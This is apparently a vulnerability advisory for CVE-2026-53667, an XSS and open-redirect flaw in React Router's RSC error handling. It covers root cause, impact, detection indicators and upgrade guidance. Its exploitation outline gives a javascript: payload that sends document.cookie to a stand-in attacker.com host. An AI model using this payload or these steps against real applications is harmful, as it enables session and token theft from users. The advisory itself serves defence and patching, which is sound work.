CVE-2026-53667: 
Wolfi vulnerability analysis and mitigation

CVE-2026-53667 is a cross-site scripting (XSS) and open redirect vulnerability in React Router's unstable RSC (React Server Components) error handling path. The RSCErrorHandler component was missing protocol validation, allowing redirects from untrusted sources to be processed without sanitization, enabling attacker-supplied redirect targets to trigger arbitrary JavaScript execution. It affects react-router npm package versions 7.11.0 through 7.17.0 (inclusive) and was disclosed on July 23, 2026. The CVSS v3.1 base score is 6.9 (Moderate) per the GitHub Advisory, with a network attack vector and high confidentiality impact (GitHub Advisory). This issue is a follow-up to a previously disclosed redirect validation bypass (GHSA-8646-j5j9-6r62) and only affects applications using the unstable RSC APIs (GitHub Advisory).

The root cause is improper neutralization of input during web page generation (CWE-79) combined with URL redirection to an untrusted site (CWE-601). The RSCErrorHandler component in React Router's RSC code path parsed redirect locations from server responses but did not invoke the existing hasInvalidProtocol() check before acting on them, meaning protocols such as javascript: could pass through unvalidated (GitHub Commit). On the browser side, the handler would set window.location.href to the attacker-controlled redirect target, and on the server-side SSR path, the unvalidated location could be emitted in HTTP Location headers or inline script tags (GitHub Commit). Exploitation requires the application to use the unstable RSC APIs and requires user interaction (e.g., a user clicking a crafted link), making it a reflected or DOM-based XSS scenario (GitHub Advisory).

Successful exploitation allows an unauthenticated network attacker to execute arbitrary JavaScript in the context of the victim's browser session, potentially stealing session cookies, authentication tokens, or other sensitive data (GitHub Advisory). The changed scope means the impact extends beyond the vulnerable component itself — attacker-controlled scripts can perform actions on behalf of the user, access cross-origin data where permitted, or redirect users to phishing pages (Feedly). Availability is not impacted, but confidentiality and integrity are both affected at a low-to-high level depending on the application's sensitivity and session management practices.

No public proof-of-concept exploit code is known to exist, and there is no evidence of active in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.354%, reflecting a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is not automatable (per NVD SSVC assessment) and requires user interaction, limiting its attractiveness for mass exploitation campaigns (Feedly).

1. Identify target applications: Locate web applications using react-router versions 7.11.0–7.17.0 with the unstable RSC APIs enabled (look for RSC-specific route configurations or server components in the app's source or build artifacts).
2. Craft a malicious redirect payload: Prepare a redirect target using a dangerous protocol, such as javascript:alert(document.cookie) or javascript:fetch('https://attacker.com/?c='+document.cookie), which would bypass the missing protocol validation in RSCErrorHandler.
3. Trigger the RSC error handling path: Induce an RSC render error on the server that results in a redirect response containing the attacker-controlled javascript: URL — this could be achieved by manipulating server-side RSC payloads if the attacker has any influence over server responses (e.g., via a server-side injection or MITM scenario).
4. Deliver to victim: Craft a URL or link that, when visited by an authenticated user, triggers the RSC error path and causes the browser to process the malicious redirect target via window.location.href, executing the injected JavaScript in the user's browser context.
5. Harvest data or perform actions: The executed script can exfiltrate session tokens, perform CSRF-like actions, or redirect the user to a phishing page (GitHub Advisory, GitHub Commit).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains shortly after visiting an RSC-enabled React Router application; unusual Location response headers containing javascript: or other non-HTTP(S) protocols from the application server.
• Logs: Server access logs showing RSC error responses (e.g., single-fetch redirect status codes) with Location headers containing javascript:, data:, or about: schemes; client-side error logs referencing unexpected navigation or script execution during RSC error handling.
• File System: No specific file artifacts expected for this client-side XSS vector; however, unexpected changes to server-side RSC payload generation code could indicate tampering.
• Process/Browser: Unexpected JavaScript execution or network requests originating from the application's origin in browser developer tools during navigation through RSC-rendered routes.

Upgrade react-router to version 7.18.0 or later, which adds hasInvalidProtocol() checks across all RSC redirect handling paths in both browser and server-side SSR code (GitHub Release, GitHub Commit). If immediate patching is not possible, disable or avoid using the unstable RSC APIs, as the vulnerability only affects applications that have opted into these experimental features (GitHub Advisory). As an additional defense-in-depth measure, implement a strict Content Security Policy (CSP) to limit the impact of any XSS execution, and restrict redirect destinations to an allowlist of known-safe URLs at the application layer.

Netlify published a changelog entry on July 23, 2026 noting the React Router security vulnerabilities, indicating awareness among major hosting providers of the React ecosystem (Netlify Changelog). The vulnerability was picked up by automated CVE tracking bots on Mastodon and Nitter shortly after NVD publication, and was indexed by Qualys (detection ID 151105) and Tenable cloud security scanners, reflecting standard industry triage activity. No notable independent researcher commentary or significant social media discussion beyond automated tracking has been observed.